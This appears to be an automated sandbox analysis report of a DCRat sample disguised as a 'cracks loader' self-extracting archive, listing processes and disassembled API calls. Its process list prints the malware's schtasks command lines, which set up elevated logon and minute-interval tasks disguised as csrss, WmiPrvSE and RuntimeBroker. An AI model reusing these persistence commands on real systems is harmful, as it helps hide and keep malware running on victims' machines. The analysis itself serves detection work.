Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	09:43:11
Start date:	04/10/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "csrss" /sc ONLOGON /tr "'C:\Recovery\csrss.exe'" /rl HIGHEST /f
Imagebase:	0x7ff7bd6e0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	09:43:11
Start date:	04/10/2024
Path:	C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\jdownloader\config\SwpTnCnrsAAKjgTAQ.exe"
Imagebase:	0xc10000
File size:	1'515'008 bytes
MD5 hash:	A730EA6D448D235275000CF8ADA09A96
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 0000000E.00000002.2486586475.0000000003081000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 88%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	09:43:11
Start date:	04/10/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "csrssc" /sc MINUTE /mo 9 /tr "'C:\Recovery\csrss.exe'" /rl HIGHEST /f
Imagebase:	0x7ff799c70000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	09:43:12
Start date:	04/10/2024
Path:	C:\Program Files (x86)\jDownloader\config\SwpTnCnrsAAKjgTAQ.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files (x86)\jdownloader\config\SwpTnCnrsAAKjgTAQ.exe"
Imagebase:	0xdc0000
File size:	1'515'008 bytes
MD5 hash:	A730EA6D448D235275000CF8ADA09A96
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_DCRat_1, Description: Yara detected DCRat, Source: 00000011.00000002.2486585028.0000000003081000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	09:43:12
Start date:	04/10/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 9 /tr "'C:\Recovery\WmiPrvSE.exe'" /f
Imagebase:	0x7ff7bd6e0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	09:43:12
Start date:	04/10/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "WmiPrvSE" /sc ONLOGON /tr "'C:\Recovery\WmiPrvSE.exe'" /rl HIGHEST /f
Imagebase:	0x7ff7bd6e0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	09:43:12
Start date:	04/10/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "WmiPrvSEW" /sc MINUTE /mo 7 /tr "'C:\Recovery\WmiPrvSE.exe'" /rl HIGHEST /f
Imagebase:	0x7ff7bd6e0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	09:43:13
Start date:	04/10/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 14 /tr "'C:\Program Files (x86)\jdownloader\config\RuntimeBroker.exe'" /f
Imagebase:	0x7ff7bd6e0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	09:43:13
Start date:	04/10/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Program Files (x86)\jdownloader\config\RuntimeBroker.exe'" /rl HIGHEST /f
Imagebase:	0x7ff7bd6e0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	09:43:13
Start date:	04/10/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 9 /tr "'C:\Program Files (x86)\jdownloader\config\RuntimeBroker.exe'" /rl HIGHEST /f
Imagebase:	0x7ff7bd6e0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	09:43:13
Start date:	04/10/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "SwpTnCnrsAAKjgTAQS" /sc MINUTE /mo 5 /tr "'C:\Users\Public\AccountPictures\SwpTnCnrsAAKjgTAQ.exe'" /f
Imagebase:	0x7ff7bd6e0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	09:43:13
Start date:	04/10/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "SwpTnCnrsAAKjgTAQ" /sc ONLOGON /tr "'C:\Users\Public\AccountPictures\SwpTnCnrsAAKjgTAQ.exe'" /rl HIGHEST /f
Imagebase:	0x7ff7bd6e0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	09:43:13
Start date:	04/10/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "SwpTnCnrsAAKjgTAQS" /sc MINUTE /mo 9 /tr "'C:\Users\Public\AccountPictures\SwpTnCnrsAAKjgTAQ.exe'" /rl HIGHEST /f
Imagebase:	0x7ff7bd6e0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	09:43:14
Start date:	04/10/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "SurrogateRefS" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\windows mail\SurrogateRef.exe'" /f
Imagebase:	0x7ff7bd6e0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	29
Start time:	09:43:14
Start date:	04/10/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "SurrogateRef" /sc ONLOGON /tr "'C:\Program Files (x86)\windows mail\SurrogateRef.exe'" /rl HIGHEST /f
Imagebase:	0x7ff7bd6e0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	09:43:15
Start date:	04/10/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "SurrogateRefS" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\windows mail\SurrogateRef.exe'" /rl HIGHEST /f
Imagebase:	0x7ff7bd6e0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	09:43:15
Start date:	04/10/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 10 /tr "'C:\Windows\CbsTemp\RuntimeBroker.exe'" /f
Imagebase:	0x7ff7bd6e0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	09:43:15
Start date:	04/10/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "RuntimeBroker" /sc ONLOGON /tr "'C:\Windows\CbsTemp\RuntimeBroker.exe'" /rl HIGHEST /f
Imagebase:	0x7ff7bd6e0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	09:43:15
Start date:	04/10/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "RuntimeBrokerR" /sc MINUTE /mo 6 /tr "'C:\Windows\CbsTemp\RuntimeBroker.exe'" /rl HIGHEST /f
Imagebase:	0x7ff7bd6e0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	09:43:16
Start date:	04/10/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "SwpTnCnrsAAKjgTAQS" /sc MINUTE /mo 14 /tr "'C:\Program Files\WindowsPowerShell\SwpTnCnrsAAKjgTAQ.exe'" /f
Imagebase:	0x7ff7bd6e0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	09:43:16
Start date:	04/10/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "SwpTnCnrsAAKjgTAQ" /sc ONLOGON /tr "'C:\Program Files\WindowsPowerShell\SwpTnCnrsAAKjgTAQ.exe'" /rl HIGHEST /f
Imagebase:	0x7ff7bd6e0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	09:43:16
Start date:	04/10/2024
Path:	C:\Windows\System32\schtasks.exe
Wow64 process (32bit):	false
Commandline:	schtasks.exe /create /tn "SwpTnCnrsAAKjgTAQS" /sc MINUTE /mo 10 /tr "'C:\Program Files\WindowsPowerShell\SwpTnCnrsAAKjgTAQ.exe'" /rl HIGHEST /f
Imagebase:	0x7ff7bd6e0000
File size:	235'008 bytes
MD5 hash:	76CD6626DD8834BD4A42E6A565104DC2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	9.7%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	9.5%
Total number of Nodes:	1470
Total number of Limit Nodes:	31

Executed Functions

Function 0055D5D4 Relevance: 42.2, APIs: 17, Strings: 7, Instructions: 197
filesleeptimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 005500CF: GetModuleHandleW.KERNEL32(kernel32), ref: 005500E4
Part of subcall function 005500CF: GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 005500F6
Part of subcall function 005500CF: GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 00550127

Part of subcall function 00559DA4: GetCurrentDirectoryW.KERNEL32(?,?), ref: 00559DAC

Part of subcall function 0055A335: OleInitialize.OLE32(00000000), ref: 0055A34E
Part of subcall function 0055A335: GdiplusStartup.GDIPLUS(?,?,00000000), ref: 0055A385
Part of subcall function 0055A335: SHGetMalloc.SHELL32(00588430), ref: 0055A38F

Part of subcall function 005513B3: GetCPInfo.KERNEL32(00000000,?), ref: 005513C4
Part of subcall function 005513B3: IsDBCSLeadByte.KERNEL32(00000000), ref: 005513D8

GetCommandLineW.KERNEL32 ref: 0055D61C
OpenFileMappingW.KERNEL32(000F001F,00000000,winrarsfxmappingfile.tmp), ref: 0055D643
MapViewOfFile.KERNEL32(00000000,000F001F,00000000,00000000,00007104), ref: 0055D654
UnmapViewOfFile.KERNEL32(00000000), ref: 0055D68E

Part of subcall function 0055D287: SetEnvironmentVariableW.KERNEL32(sfxcmd,?), ref: 0055D29D
Part of subcall function 0055D287: SetEnvironmentVariableW.KERNELBASE(sfxpar,-00000002,00000000,?,?,?,00001000), ref: 0055D2D9

CloseHandle.KERNEL32(00000000), ref: 0055D697
GetModuleFileNameW.KERNEL32(00000000,0059DC90,00000800), ref: 0055D6B2
SetEnvironmentVariableW.KERNEL32(sfxname,0059DC90), ref: 0055D6BE
GetLocalTime.KERNEL32(?), ref: 0055D6C9
_swprintf.LIBCMT ref: 0055D708
SetEnvironmentVariableW.KERNEL32(sfxstime,?), ref: 0055D71A
GetModuleHandleW.KERNEL32(00000000), ref: 0055D721
LoadIconW.USER32(00000000,00000064), ref: 0055D738
DialogBoxParamW.USER32(00000000,STARTDLG,00000000,Function_0001AEE0,00000000), ref: 0055D789
Sleep.KERNEL32(?), ref: 0055D7B7
DeleteObject.GDI32 ref: 0055D7F0
DeleteObject.GDI32(?), ref: 0055D800
CloseHandle.KERNEL32 ref: 0055D843

Strings

STARTDLG, xrefs: 0055D77E
sfxstime, xrefs: 0055D715
C:\Users\user\Desktop, xrefs: 0055D5E9
%4d-%02d-%02d-%02d-%02d-%02d-%03d, xrefs: 0055D6F9
xjY, xrefs: 0055D7CB
sfxname, xrefs: 0055D6B9
winrarsfxmappingfile.tmp, xrefs: 0055D637

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: EnvironmentFileHandleVariable$Module$AddressCloseDeleteObjectProcView$ByteCommandCurrentDialogDirectoryGdiplusIconInfoInitializeLeadLineLoadLocalMallocMappingNameOpenParamSleepStartupTimeUnmap_swprintf
String ID: %4d-%02d-%02d-%02d-%02d-%02d-%03d$C:\Users\user\Desktop$STARTDLG$sfxname$sfxstime$winrarsfxmappingfile.tmp$xjY
API String ID: 788466649-1039780783
Opcode ID: c7676635e47b8b61c02e3a6bbd4132b975c0bd06f1687ea67ffe6361ee34b3d1
Instruction ID: baf1a75b4bb02c5186de6709b7f0b0889baea45ee2a4d3232826248e64c7f38b
Opcode Fuzzy Hash: c7676635e47b8b61c02e3a6bbd4132b975c0bd06f1687ea67ffe6361ee34b3d1
Instruction Fuzzy Hash: D961C772500241AFD720AB65EC5EF3A3FB8FB55746F40041AFD49A22A1EB74894CE772

Function 00559E1C Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 100
memorywindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindResourceW.KERNEL32(0055AE4D,PNG,?,?,?,0055AE4D,00000066), ref: 00559E2E
SizeofResource.KERNEL32(00000000,00000000,?,?,?,0055AE4D,00000066), ref: 00559E46
LoadResource.KERNEL32(00000000,?,?,?,0055AE4D,00000066), ref: 00559E59
LockResource.KERNEL32(00000000,?,?,?,0055AE4D,00000066), ref: 00559E64
GlobalAlloc.KERNELBASE(00000002,00000000,?,?,?,?,?,0055AE4D,00000066), ref: 00559E82
GlobalLock.KERNEL32(00000000), ref: 00559E93
CreateStreamOnHGlobal.COMBASE(00000000,00000000,?), ref: 00559EB7
GdipCreateHBITMAPFromBitmap.GDIPLUS(?,?,00FFFFFF), ref: 00559EFC
GlobalUnlock.KERNEL32(00000000), ref: 00559F1B
GlobalFree.KERNEL32(00000000), ref: 00559F22

Strings

PNG, xrefs: 00559E1F

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: Global$Resource$CreateLock$AllocBitmapFindFreeFromGdipLoadSizeofStreamUnlock
String ID: PNG
API String ID: 3656887471-364855578
Opcode ID: 05fb0c8aab3837211c76ff816449bb19fe5aa42a41fc6b3ec49a85357609c985
Instruction ID: f18a6fc08605290572156fc9c89bf0c470a76a54a76bd85d656e54c665b21588
Opcode Fuzzy Hash: 05fb0c8aab3837211c76ff816449bb19fe5aa42a41fc6b3ec49a85357609c985
Instruction Fuzzy Hash: A2318F75204302ABC7119F61EC5892BBFADFF95762B04052AFC06D2260DB35D848FA61

Function 0054A5F4 Relevance: 7.6, APIs: 5, Instructions: 107
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FindFirstFileW.KERNELBASE(?,?,?,?,?,?,0054A4EF,000000FF,?,?), ref: 0054A628
FindFirstFileW.KERNELBASE(?,?,?,?,00000800,?,?,?,?,0054A4EF,000000FF,?,?), ref: 0054A65E
GetLastError.KERNEL32(?,?,00000800,?,?,?,?,0054A4EF,000000FF,?,?), ref: 0054A66A
FindNextFileW.KERNEL32(?,?,?,?,?,?,0054A4EF,000000FF,?,?), ref: 0054A692
GetLastError.KERNEL32(?,?,?,?,0054A4EF,000000FF,?,?), ref: 0054A69E

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: FileFind$ErrorFirstLast$Next
String ID:
API String ID: 869497890-0
Opcode ID: e6ad5b28a7f98bbdcba8ee9476873fce26598b77006b051a04d4b890748a202b
Instruction ID: 30a74b8b5eb4904db6a6402805706273e408dc41ac355cc681f40c3f028c46c6
Opcode Fuzzy Hash: e6ad5b28a7f98bbdcba8ee9476873fce26598b77006b051a04d4b890748a202b
Instruction Fuzzy Hash: 5E417671505242AFC364EF68C8C8ADAFBE8BF98354F05092AF599D3240D734A9589B52

Function 0056753D Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,?,00567513,00000000,0057BAD8,0000000C,0056766A,00000000,00000002,00000000), ref: 0056755E
TerminateProcess.KERNEL32(00000000,?,00567513,00000000,0057BAD8,0000000C,0056766A,00000000,00000002,00000000), ref: 00567565
ExitProcess.KERNEL32 ref: 00567577

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 813e085cd1aa31ade17fa8430bf075c4b4c690a55d250f9fc3d55e7b401b6315
Instruction ID: 5fdc2862835b5bb795cd3c1e4e37ffbd657aa872c513b32956cfed69fa4621ba
Opcode Fuzzy Hash: 813e085cd1aa31ade17fa8430bf075c4b4c690a55d250f9fc3d55e7b401b6315
Instruction Fuzzy Hash: D7E04631000508EBCF11AF64ED0CA483F29FB64355F008054F80A8B232CB35DE82FA40

Function 0054857B Relevance: 3.9, APIs: 2, Instructions: 947COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00548580
_memcmp.LIBVCRUNTIME ref: 00548A08

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: H_prolog_memcmp
String ID:
API String ID: 3004599000-0
Opcode ID: 275794703be9647274187485092d47e02a50929de479083cc0020fe5d2fdd4ac
Instruction ID: 9bbead033c37b2a9c304670dd28da42c74715607b8d24ec5b513a725428405d0
Opcode Fuzzy Hash: 275794703be9647274187485092d47e02a50929de479083cc0020fe5d2fdd4ac
Instruction Fuzzy Hash: AE823D70904246AEDF25DF64C889BFEBFB9BF05308F0845B9ED599B142DB305A48CB60

Function 0055AEE0 Relevance: 98.7, APIs: 47, Strings: 9, Instructions: 724COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 0055AEE5

Part of subcall function 0054130B: GetDlgItem.USER32(00000000,00003021), ref: 0054134F
Part of subcall function 0054130B: SetWindowTextW.USER32(00000000,005735B4), ref: 00541365

Strings

STARTDLG, xrefs: 0055AF04
C:\Users\user\Desktop, xrefs: 0055B2DF
LICENSEDLG, xrefs: 0055B771
@, xrefs: 0055B2A7
__tmp_rar_sfx_access_check_%u, xrefs: 0055B1CB
"%s"%s, xrefs: 0055B423
-el -s2 "-d%s" "-sp%s", xrefs: 0055B281
winrarsfxmappingfile.tmp, xrefs: 0055B2BC
<, xrefs: 0055B29A

Memory Dump Source

Source File: 00000000.00000002.2152571235.0000000000541000.00000020.00000001.01000000.00000003.sdmp, Offset: 00540000, based on PE: true

Associated: 00000000.00000002.2152556901.0000000000540000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152600750.0000000000573000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.000000000057E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.0000000000584000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152617109.00000000005A1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005A2000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2152672208.00000000005E7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_540000_NewLoaderCracks_1.jbxd

Similarity

API ID: H_prologItemTextWindow
String ID: "%s"%s$-el -s2 "-d%s" "-sp%s"$<$@$C:\Users\user\Desktop$LICENSEDLG$STARTDLG$__tmp_rar_sfx_access_check_%u$winrarsfxmappingfile.tmp
API String ID: 810644672-3870082069
Opcode ID: d7528e8d47d210e579575122d871253df8c7c3554568bb03c4a6747ec2c9acb3
Instruction ID: 62ecf1f17e64417365f55106590ec57a21c3a1fbd2730dfbe420c3ba0364a3e0
Opcode Fuzzy Hash: d7528e8d47d210e579575122d871253df8c7c3554568bb03c4a6747ec2c9acb3
Instruction Fuzzy Hash: 4742E3B1944245AAFB219BA49C5EFBE3F7CFB61706F400056FA05B60E1DBB4494CEB21

Function 005500CF Relevance: 98.3, APIs: 22, Strings: 34, Instructions: 317
libraryfileloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(kernel32), ref: 005500E4
GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 005500F6
GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 00550127
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 005503D4
CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 005503F0
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00550402
ReadFile.KERNEL32(00000000,?,00007FFE,00573BA4,00000000), ref: 00550421
CloseHandle.KERNEL32(00000000), ref: 00550479
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 0055048F
CompareStringW.KERNEL32(00000400,00001001,?,?,DXGIDebug.dll,?,?,00000000,?,00000800), ref: 005504E7
GetFileAttributesW.KERNELBASE(?,?,?,00000800,?,00000000,?,00000800), ref: 00550510
GetFileAttributesW.KERNEL32(?,?,?,00000800), ref: 0055054A

Part of subcall function 00550085: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 005500A0
Part of subcall function 00550085: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,0054EB86,Crypt32.dll,00000000,0054EC0A,?,?,0054EBEC,?,?,?), ref: 005500C2

_swprintf.LIBCMT ref: 005505BE
_swprintf.LIBCMT ref: 0055060A

Part of subcall function 0054400A: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 0054401D

AllocConsole.KERNEL32 ref: 00550612
GetCurrentProcessId.KERNEL32 ref: 0055061C
AttachConsole.KERNEL32(00000000), ref: 00550623
GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000), ref: 00550649
WriteConsoleW.KERNEL32(00000000), ref: 00550650
Sleep.KERNEL32(00002710), ref: 0055065B
FreeConsole.KERNEL32 ref: 00550661
ExitProcess.KERNEL32 ref: 00550669

Strings

